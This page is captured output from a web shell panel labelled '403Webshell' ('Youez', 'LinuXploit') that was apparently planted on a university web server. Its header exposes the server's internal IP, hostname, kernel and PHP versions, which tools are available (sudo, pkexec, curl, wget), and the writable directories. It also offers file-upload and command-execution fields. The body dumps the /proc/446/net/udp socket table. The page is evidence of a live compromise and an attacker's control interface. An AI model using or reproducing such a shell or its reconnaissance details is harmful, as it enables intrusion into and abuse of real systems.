403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/446/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/446/net/udp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode ref pointer drops             
  263: 280018AC:9ADF 0C0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 287458231 2 0000000000000000 0     
  315: 280018AC:9313 0D0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 287459178 2 0000000000000000 0     
  336: 280018AC:B328 0B0018AC:0035 01 00000000:00000300 00:00000000 00000000    48        0 287458671 2 0000000000000000 0     
  337: 280018AC:DB29 0B0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 287458477 2 0000000000000000 0     
  466: 280018AC:DBAA 0B0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 287460803 2 0000000000000000 0     
  567: 280018AC:840F 0D0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 287459241 2 0000000000000000 0     
  605: 280018AC:EC35 0B0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 287459692 2 0000000000000000 0     
  670: 280018AC:9476 0C0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 287458674 2 0000000000000000 0     
  695: 280018AC:B48F 0B0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 287459216 2 0000000000000000 0     
  696: 280018AC:DC90 0B0018AC:0035 01 00000000:00000300 00:00000000 00000000    48        0 287458406 2 0000000000000000 0     
  713: 280018AC:94A1 0D0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 287457649 2 0000000000000000 0     
  770: 280018AC:D4DA 0B0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 287455907 2 0000000000000000 0     
  819: 280018AC:C50B 0C0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 287459080 2 0000000000000000 0     
  864: 280018AC:E538 0B0018AC:0035 01 00000000:00000300 00:00000000 00000000    48        0 287458498 2 0000000000000000 0     
  892: 280018AC:9554 0D0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 287459407 2 0000000000000000 0     
  899: 280018AC:ED5B 0C0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 287457819 2 0000000000000000 0     
 1006: 280018AC:D5C6 0C0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 287457606 2 0000000000000000 0     
 1066: 280018AC:D602 0D0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 287459714 2 0000000000000000 0     
 1095: 280018AC:CE1F 0B0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 287458986 2 0000000000000000 0     
 1109: 280018AC:EE2D 0B0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 287461672 2 0000000000000000 0     
 1189: 280018AC:B67D 0C0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 287458988 2 0000000000000000 0     
 1200: 280018AC:BE88 0D0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 287457943 2 0000000000000000 0     
 1207: 280018AC:8E8F 0B0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 287460753 2 0000000000000000 0     
 1248: 280018AC:E6B8 0B0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 287459018 2 0000000000000000 0     
 1398: 280018AC:C74E 0B0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 287458997 2 0000000000000000 0     
 1432: 280018AC:C770 0B0018AC:0035 01 00000000:00000300 00:00000000 00000000    48        0 287457879 2 0000000000000000 0     
 1457: 280018AC:E789 0B0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 287461701 2 0000000000000000 0     
 1479: 280018AC:C79F 0B0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 287458404 2 0000000000000000 0     
 1611: 280018AC:E023 0D0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 287458251 2 0000000000000000 0     
 1884: 280018AC:8134 0C0018AC:0035 01 00000000:00000300 00:00000000 00000000    48        0 287457817 2 0000000000000000 0     

Youez - 2016 - github.com/yon3zu
LinuXploit